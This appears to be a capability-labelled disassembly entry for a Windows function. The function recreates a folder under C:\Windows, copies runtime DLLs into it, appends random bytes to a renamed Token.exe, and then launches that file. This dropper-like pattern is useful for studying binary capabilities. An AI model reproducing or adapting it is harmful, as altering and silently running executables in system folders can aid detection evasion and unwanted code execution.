Function at 0x4011b0
Capabilities:
Copy file
Create directory
Create process on windows
Delete directory
Delete file
Move file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x402f89
mov eax, dword fs:[0]
push eax
sub esp, 0xc0
mov eax, dword [0x405018]
xor eax, esp
mov dword [esp + 0xb8], eax
push ebx
push esi
push edi
mov eax, dword [0x405018]
xor eax, esp
push eax
lea eax, [esp + 0xd0]
mov dword fs:[0], eax
call fcn.00401110
push str.C:WindowsAF
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor ebx, ebx
push ebx
push str.C:WindowsAF
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.C:WindowsToken.exe
call esi
push str.C:WindowsToken.mentah
call esi
call fcn.00401040
test eax, eax
je 0x401222
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.Tunggu_Sebentar...
push ecx
push 0x40336c
push eax
call fcn.00402330
add esp, 0xc
push eax
call fcn.00402330
add esp, 8
mov edi, 0x17
lea esi, [esp + 0xa4]
mov dword [esp + 0xb8], 0xf
mov dword [esp + 0xb4], ebx
mov byte [esp + 0xa4], 0
call fcn.00402000
mov eax, dword [esp + 0xa4]
mov edi, 0x10
mov dword [esp + 0x14], ebx
cmp dword [esp + 0xb8], edi
jae 0x401293
mov eax, esi
push 0x4032c0
push eax
lea ecx, [esp + 0x1c]
push ecx
call dword [sym.imp.MSVCR100.dll_fopen_s]
mov edx, dword [esp + 0x20]
mov ebx, dword [sym.imp.MSVCR100.dll_fseek]
add esp, 0xc
push 2
push 0
push edx
call ebx
mov eax, dword [esp + 0x20]
add esp, 0xc
push eax
call dword [sym.imp.MSVCR100.dll_ftell]
mov ecx, dword [esp + 0x18]
add esp, 4
push ecx
mov esi, eax
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
cmp dword [esp + 0xb8], edi
jb 0x4012f3
mov edx, dword [esp + 0xa4]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
cmp esi, 0x1388
jge 0x401324
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push str.Mengulangi
push ecx
push 0x40336c
push eax
call fcn.00402330
add esp, 0xc
push eax
call fcn.00402330
add esp, 8
xor ebx, ebx
jmp 0x401222
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push str.C:WindowsAFmsvcp90.dll
push str.msvcp90.dll
call esi
push 0
push str.C:WindowsAFmsvcp100.dll
push str.msvcp100.dll
call esi
push 0
push str.C:WindowsAFmsvcp100d.dll
push str.msvcp100d.dll
call esi
push 0
push str.C:WindowsAFmsvcr90.dll
push str.msvcr90.dll
call esi
push 0
push str.C:WindowsAFmsvcr100.dll
push str.msvcr100.dll
call esi
push 0
push str.C:WindowsAFmsvcr100d.dll
push str.msvcr100d.dll
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
push str.C:WindowsAFToken.mentah
push str.C:WindowsAFToken.exe
call dword [sym.imp.MSVCR100.dll_rename]
add esp, 8
push 0xc8
call esi
push 0x403498
push str.C:WindowsAFToken.mentah
call dword [sym.imp.MSVCR100.dll_fopen]
push 2
xor esi, esi
mov edi, eax
push esi
push edi
call ebx
add esp, 0x14
push esi
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
mov dword [esp + 0xb8], 0xf
mov dword [esp + 0xb4], esi
mov byte [esp + 0xa4], 0
mov dword [esp + 0xd8], esi
mov dword [esp + 0x14], 0x64
nop
call dword [sym.imp.MSVCR100.dll_rand]
xor edx, edx
mov ecx, 0x47
div ecx
mov ecx, 0x46
lea esi, [esp + 0xa4]
mov eax, edx
xor edx, edx
div ecx
mov bl, byte [edx + 0x4031c9]
call fcn.00401e20
dec dword [esp + 0x14]
jne 0x401400
xor esi, esi
push esi
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
mov dword [esp + 0x64], 0xf
mov dword [esp + 0x60], esi
mov byte [esp + 0x50], 0
mov byte [esp + 0xd8], 1
mov dword [esp + 0x14], esi
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0x60]
mov bl, byte [edx + 0x403211]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401599
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401599
mov ecx, dword [esp + 0x64]
cmp ecx, esi
jae 0x4014ad
push eax
push esi
lea eax, [esp + 0x58]
push eax
call fcn.00402170
jmp 0x4014c5
test esi, esi
jne 0x4014cb
mov eax, dword [esp + 0x50]
mov dword [esp + 0x60], esi
cmp ecx, 0x10
jae 0x4014c2
lea eax, [esp + 0x50]
mov byte [eax], 0
mov eax, dword [esp + 0x60]
test esi, esi
setne cl
test cl, cl
je 0x4014fe
mov ecx, dword [esp + 0x50]
mov edx, 0x10
cmp dword [esp + 0x64], edx
jae 0x4014e5
lea ecx, [esp + 0x50]
mov byte [eax + ecx], bl
mov eax, dword [esp + 0x50]
mov dword [esp + 0x60], esi
cmp dword [esp + 0x64], edx
jae 0x4014fa
lea eax, [esp + 0x50]
mov byte [esi + eax], 0
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0xc8
jb 0x401465
xor esi, esi
push esi
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
mov dword [esp + 0x9c], 0xf
mov dword [esp + 0x98], esi
mov byte [esp + 0x88], 0
mov byte [esp + 0xd8], 2
mov dword [esp + 0x14], esi
mov edi, edi
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0x98]
mov bl, byte [edx + 0x40321d]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401599
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401599
mov ecx, dword [esp + 0x9c]
cmp ecx, esi
jae 0x4015a4
push eax
push esi
lea eax, [esp + 0x90]
push eax
call fcn.00402170
jmp 0x4015c5
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
test esi, esi
jne 0x4015ce
mov eax, dword [esp + 0x88]
mov dword [esp + 0x98], esi
cmp ecx, 0x10
jae 0x4015c2
lea eax, [esp + 0x88]
mov byte [eax], 0
mov eax, dword [esp + 0x98]
test esi, esi
setne cl
test cl, cl
je 0x401616
mov ecx, dword [esp + 0x88]
mov edx, 0x10
cmp dword [esp + 0x9c], edx
jae 0x4015f1
lea ecx, [esp + 0x88]
mov byte [eax + ecx], bl
mov eax, dword [esp + 0x88]
mov dword [esp + 0x98], esi
cmp dword [esp + 0x9c], edx
jae 0x401612
lea eax, [esp + 0x88]
mov byte [esi + eax], 0
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x12c
jb 0x401550
xor esi, esi
push esi
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
mov dword [esp + 0x48], 0xf
mov dword [esp + 0x44], esi
mov byte [esp + 0x34], 0
mov byte [esp + 0xd8], 3
mov dword [esp + 0x14], esi
lea ecx, [ecx]
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0x44]
mov bl, byte [edx + 0x403239]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401599
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401599
mov ecx, dword [esp + 0x48]
cmp ecx, esi
jae 0x4016a8
push eax
push esi
lea eax, [esp + 0x3c]
push eax
call fcn.00402170
jmp 0x4016c0
test esi, esi
jne 0x4016c6
mov eax, dword [esp + 0x34]
mov dword [esp + 0x44], esi
cmp ecx, 0x10
jae 0x4016bd
lea eax, [esp + 0x34]
mov byte [eax], 0
mov eax, dword [esp + 0x44]
test esi, esi
setne cl
test cl, cl
je 0x4016f9
mov ecx, dword [esp + 0x34]
mov edx, 0x10
cmp dword [esp + 0x48], edx
jae 0x4016e0
lea ecx, [esp + 0x34]
mov byte [ecx + eax], bl
mov eax, dword [esp + 0x34]
mov dword [esp + 0x44], esi
cmp dword [esp + 0x48], edx
jae 0x4016f5
lea eax, [esp + 0x34]
mov byte [esi + eax], 0
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x190
jb 0x401660
xor esi, esi
push esi
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
mov dword [esp + 0x80], 0xf
mov dword [esp + 0x7c], esi
mov byte [esp + 0x6c], 0
mov byte [esp + 0xd8], 4
mov dword [esp + 0x14], esi
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0x7c]
mov bl, byte [edx + 0x40325d]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401599
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401599
mov ecx, dword [esp + 0x80]
cmp ecx, esi
jae 0x40178e
push eax
push esi
lea eax, [esp + 0x74]
push eax
call fcn.00402170
jmp 0x4017a6
test esi, esi
jne 0x4017ac
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x7c], esi
cmp ecx, 0x10
jae 0x4017a3
lea eax, [esp + 0x6c]
mov byte [eax], 0
mov eax, dword [esp + 0x7c]
test esi, esi
setne cl
test cl, cl
je 0x4017e5
mov ecx, dword [esp + 0x6c]
mov edx, 0x10
cmp dword [esp + 0x80], edx
jae 0x4017c9
lea ecx, [esp + 0x6c]
mov byte [eax + ecx], bl
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x7c], esi
cmp dword [esp + 0x80], edx
jae 0x4017e1
lea eax, [esp + 0x6c]
mov byte [esi + eax], 0
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x1f4
jb 0x401743
xor esi, esi
push esi
call dword [sym.imp.MSVCR100.dll__time64]
add esp, 4
push eax
call dword [sym.imp.MSVCR100.dll_srand]
add esp, 4
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], esi
mov byte [esp + 0x18], 0
mov byte [esp + 0xd8], 5
mov dword [esp + 0x14], esi
lea esp, [esp]
call dword [sym.imp.MSVCR100.dll_rand]
cdq
mov ecx, 6
idiv ecx
mov eax, dword [esp + 0x28]
mov bl, byte [edx + 0x403281]
or edx, 0xffffffff
sub edx, eax
cmp edx, 1
jbe 0x401599
lea esi, [eax + 1]
cmp esi, 0xfffffffe
ja 0x401599
mov ecx, dword [esp + 0x2c]
cmp ecx, esi
jae 0x401dc3
push eax
push esi
lea eax, [esp + 0x20]
push eax
call fcn.00402170
mov ecx, dword [esp + 0x2c]
mov eax, dword [esp + 0x28]
test esi, esi
je 0x4018ad
cmp ecx, 0x10
mov ecx, dword [esp + 0x18]
jae 0x401893
lea ecx, [esp + 0x18]
mov byte [eax + ecx], bl
cmp dword [esp + 0x2c], 0x10
mov eax, dword [esp + 0x18]
mov dword [esp + 0x28], esi
jae 0x4018a9
lea eax, [esp + 0x18]
mov byte [esi + eax], 0
mov eax, dword [esp + 0x14]
inc eax
mov dword [esp + 0x14], eax
cmp eax, 0x64
jb 0x401830
cmp dword [esp + 0x64], 0x10
mov eax, dword [esp + 0x50]
jae 0x4018ce
lea eax, [esp + 0x50]
mov esi, dword [sym.imp.MSVCR100.dll_fwrite]
push edi
push 4
push 4
push eax
call esi
mov ebx, dword [sym.imp.MSVCR100.dll_fseek]
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0xa4]
add esp, 0x1c
cmp dword [esp + 0x9c], 0x10
jae 0x401904
lea eax, [esp + 0x88]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x50]
add esp, 0x1c
cmp dword [esp + 0x48], 0x10
jae 0x401925
lea eax, [esp + 0x34]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x88]
add esp, 0x1c
cmp dword [esp + 0x80], 0x10
jae 0x40194c
lea eax, [esp + 0x6c]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x34]
add esp, 0x1c
cmp dword [esp + 0x2c], 0x10
jae 0x40196d
lea eax, [esp + 0x18]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
add esp, 0x1c
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x24]
add esp, 0xc
cmp dword [esp + 0x2c], 0x10
jae 0x401998
lea eax, [esp + 0x18]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x88]
add esp, 0x1c
cmp dword [esp + 0x80], 0x10
jae 0x4019bf
lea eax, [esp + 0x6c]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x50]
add esp, 0x1c
cmp dword [esp + 0x48], 0x10
jae 0x4019e0
lea eax, [esp + 0x34]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0xa4]
add esp, 0x1c
cmp dword [esp + 0x9c], 0x10
jae 0x401a0a
lea eax, [esp + 0x88]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x6c]
add esp, 0x1c
cmp dword [esp + 0x64], 0x10
jae 0x401a2b
lea eax, [esp + 0x50]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x6c]
add esp, 0x1c
cmp dword [esp + 0x64], 0x10
jae 0x401a4c
lea eax, [esp + 0x50]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0xa4]
add esp, 0x1c
cmp dword [esp + 0x9c], 0x10
jae 0x401a76
lea eax, [esp + 0x88]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x50]
add esp, 0x1c
cmp dword [esp + 0x48], 0x10
jae 0x401a97
lea eax, [esp + 0x34]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x88]
add esp, 0x1c
cmp dword [esp + 0x80], 0x10
jae 0x401abe
lea eax, [esp + 0x6c]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x34]
add esp, 0x1c
cmp dword [esp + 0x2c], 0x10
jae 0x401adf
lea eax, [esp + 0x18]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x50]
add esp, 0x1c
cmp dword [esp + 0x48], 0x10
jae 0x401b00
lea eax, [esp + 0x34]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x6c]
add esp, 0x1c
cmp dword [esp + 0x64], 0x10
jae 0x401b21
lea eax, [esp + 0x50]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x34]
add esp, 0x1c
cmp dword [esp + 0x2c], 0x10
jae 0x401b42
lea eax, [esp + 0x18]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x88]
add esp, 0x1c
cmp dword [esp + 0x80], 0x10
jae 0x401b69
lea eax, [esp + 0x6c]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
mov eax, dword [esp + 0x34]
add esp, 0x1c
cmp dword [esp + 0x2c], 0x10
jae 0x401b8a
lea eax, [esp + 0x18]
push edi
push 4
push 4
push eax
call esi
push 2
push 0
push edi
call ebx
add esp, 0x1c
push edi
call dword [sym.imp.MSVCR100.dll_fclose]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0xc8
call esi
push str.C:WindowsAFToken.exe
push str.C:WindowsAFToken.mentah
call dword [sym.imp.MSVCR100.dll_rename]
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 8
push ecx
push ecx
push str.Sukses...
push ecx
push 0x40336c
push edx
call fcn.00402330
add esp, 0xc
push eax
call fcn.00402330
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 1
push 0
push 0
push str.C:WindowsAFToken.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call esi
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4034b0
push ecx
call fcn.00402330
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xc8
call esi
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push edx
push ecx
push 0x4034b4
push eax
call fcn.00402330
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xc8
call esi
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
mov edx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push ecx
push ecx
push 0x4034b8
push edx
call fcn.00402330
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xc8
call esi
mov eax, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char______cdecl_std::endl_class_std::basic_ostream_char__struct_std::char_traits_char____]
push eax
push ecx
mov ecx, dword [sym.imp.MSVCP100.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4034bc
push ecx
call fcn.00402330
add esp, 0xc
mov ecx, eax
call dword [sym.imp.MSVCP100.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0xc8
call esi
cmp dword [esp + 0x2c], 0x10
jb 0x401cd6
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor ebx, ebx
mov esi, 0x10
mov edi, 0xf
mov dword [esp + 0x2c], edi
mov dword [esp + 0x28], ebx
mov byte [esp + 0x18], bl
cmp dword [esp + 0x80], esi
jb 0x401d05
mov eax, dword [esp + 0x6c]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0x80], edi
mov dword [esp + 0x7c], ebx
mov byte [esp + 0x6c], bl
cmp dword [esp + 0x48], esi
jb 0x401d28
mov ecx, dword [esp + 0x34]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0x48], edi
mov dword [esp + 0x44], ebx
mov byte [esp + 0x34], bl
cmp dword [esp + 0x9c], esi
jb 0x401d4e
mov edx, dword [esp + 0x88]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0x9c], edi
mov dword [esp + 0x98], ebx
mov byte [esp + 0x88], bl
cmp dword [esp + 0x64], esi
jb 0x401d77
mov eax, dword [esp + 0x50]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov dword [esp + 0x64], edi
mov dword [esp + 0x60], ebx
mov byte [esp + 0x50], bl
cmp dword [esp + 0xb8], esi
jb 0x401d9d
mov ecx, dword [esp + 0xa4]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0xd0]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xb8]
xor ecx, esp
call fcn.0040259d
mov esp, ebp
pop ebp
ret
test esi, esi
jne 0x401886
mov eax, dword [esp + 0x18]
mov dword [esp + 0x28], esi
cmp ecx, 0x10
jae 0x401ddc
lea eax, [esp + 0x18]
mov byte [eax], 0
jmp 0x4018ad